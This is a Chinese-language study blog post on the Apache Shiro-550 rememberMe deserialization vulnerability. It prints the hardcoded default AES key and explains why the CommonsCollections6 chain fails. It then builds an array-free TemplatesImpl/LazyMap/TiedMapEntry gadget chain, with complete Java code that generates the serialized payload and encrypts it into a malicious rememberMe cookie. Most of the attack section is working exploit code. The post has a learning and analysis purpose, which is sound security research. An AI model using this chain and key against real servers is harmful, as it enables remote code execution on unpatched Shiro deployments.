原理&环境
Shiro反序列化漏洞原理:
为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。
简单环境的搭建:
https://github.com/phith0n/JavaThings/tree/master/shirodemo
勾选remember me后,发送登陆请求,登陆成功后返回包中会带有rememberMe的Cookie信息:
直接使用CommonCollections6
在1.2.4版本及以下,默认的密钥为:kPH+bIxk5D2deZiIxcaaaA==
直接用之前的cc6链,生成一个payload,用这个密钥加密发过去试一下:
poc并没有成功,tomcat报错:
错误栈最下面的一个类:
org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass
resolveClass
是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形 式的类名,需要通过这个方法来找到对应的java.lang.Class
对象。
对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass 方法:
发现不同之处在于这个ClassUtils.forName(osc.getName());
关键点在发生异常的位置:
可见,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer;
。这个类名看起来 怪,其实就是表示org.apache.commons.collections.Transformer
的数组。这里失败的原因非常复杂,参考:
https://blog.zsxsoft.com/post/35
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html 以及下面的评论,很精彩
参考phith0n的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。 所以CC6,CC1都无法使用,网络上很多其他文章都是用的CommonCollections2,但CommonCollections2依赖的是CommonCollections4.0版本。
构造不含有数组的Gadgets
Orange大佬在其上面的文章中给出了使用JRMP的利用方法。但是这种需要出网,有一些限制。更好的方法就用到了TemplatesImpl
,就是XRay和Koalr师傅的CommonsCollectionsK1
链。
前面的文章分析了TemplatesImpl
+ InvokeerTransformer
的调用链,但是这样也用到了数组:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
需要想办法不利用数组,wh1t3p1g在这篇文章给出了一个行之有效的方法。借助了CommonCollection6中的TiedMapEntry。
首先来回顾一下Transformer链的构造原理。
回顾:
ChainedTransformer
ChainedTransformer
,由一个Transformer
数组初始化,数组中都是Transformer的实现类,都有transform
方法。当回调被触发时,按照数组顺序循环执行每一个实现类的transform
,第一个参数是触发回调的key或者value,上一个transform
的return结果是下一个的参数,比如上面的transformers数组例子,实际执行的时候是InvokerTransformer.transform(ConstantTransformer.transform(key))
ConstantTransformer
直接返回类初始化时构造函数传入的参数,不会对transform的参数有任何处理
InvokerTransformer
调用反射,获取Method并且调用invoke执行,返回执行结果
构造链:
想办法把上面的TemplatesImpl
+ InvokeerTransformer
链中的Transformer数组去掉,也就是变成一次调用。
思路:LazyMap.get
方法调用了this.factory.this.factory.transform(key)
:
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
这里的this.factory是初始化LazyMap时传入的Transformer类,直接执行了这个Transformer的transform方法,参数为key,如果这个key可以控制,那就相当于变相用ConstantTransformer返回了一个对象给下一个Transformer类,那只需要传入一个new InvokerTransformer("newTransformer", null, null)
,在执行的时候就会执行:
TemplatesImpl.newTransformer()
,去掉了数组。
如何调用LazyMap.get
,且key可控?前面的利用链中已经有例子用过,使用TiedMapEntry
和CC3利用链的区别在于,之前初始化TiedMapEntry时的key参数是无用字符串,现在换成构造好的恶意TemplatesImpl
。
自己写这部分代码的时候,理论知识都已经具备,但是很多小细节没注意,几个问题:
- 恶意类要继承AbstractTranslet类(TemplatesImpl利用链的要求)
- 为了避免组装恶意TiedMapEntry时调用各种方法产生影响,要先关联一个假的Transformer,这里先用Transformer调用一个无害方法比如
getClass
,再反射修改Transformer的iMethodName
成员变量。和先绑定一个无害faketransformer
,再修改lazyMap的factory
的成员变量效果相同,但是不要混用。
生成payload代码:
public static byte[] getPayload(byte[] bytecode) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytecode});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 构造链调用obj.newTransformer()
Transformer transformer = new InvokerTransformer("newTransformer", null, null);
Transformer faketransformer = new ConstantTransformer(1);
Map outmap = new HashMap();
Map lazyMap = LazyMap.decorate(outmap,faketransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, obj);
Map map = new HashMap();
map.put(tiedMapEntry,"213");
setFieldValue(lazyMap, "factory", transformer);
outmap.clear();
// setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
return barr.toByteArray();
}
用shiro默认密钥生成exp:
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(changez.sec.shiro.Evil.class.getName());
byte[] payload = CommonCollectionsK1.getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource cipheretext = aes.encrypt(payload,key);
System.out.println(cipheretext);
}
结果直接放入cookie中,发送即可:
总结
主要学习了关于Shiro反序列化漏洞,以及如何将 TemplatesImpl 结合到 CommonsCollections6中,也就解决了前一篇文章中遗留的CommonsCollections3不能在Java 8u71以 上利用的问题。这一个Gadget其实也就是XRay和Koalr师傅的CommonsCollectionsK1用来检测Shiro-550的方法。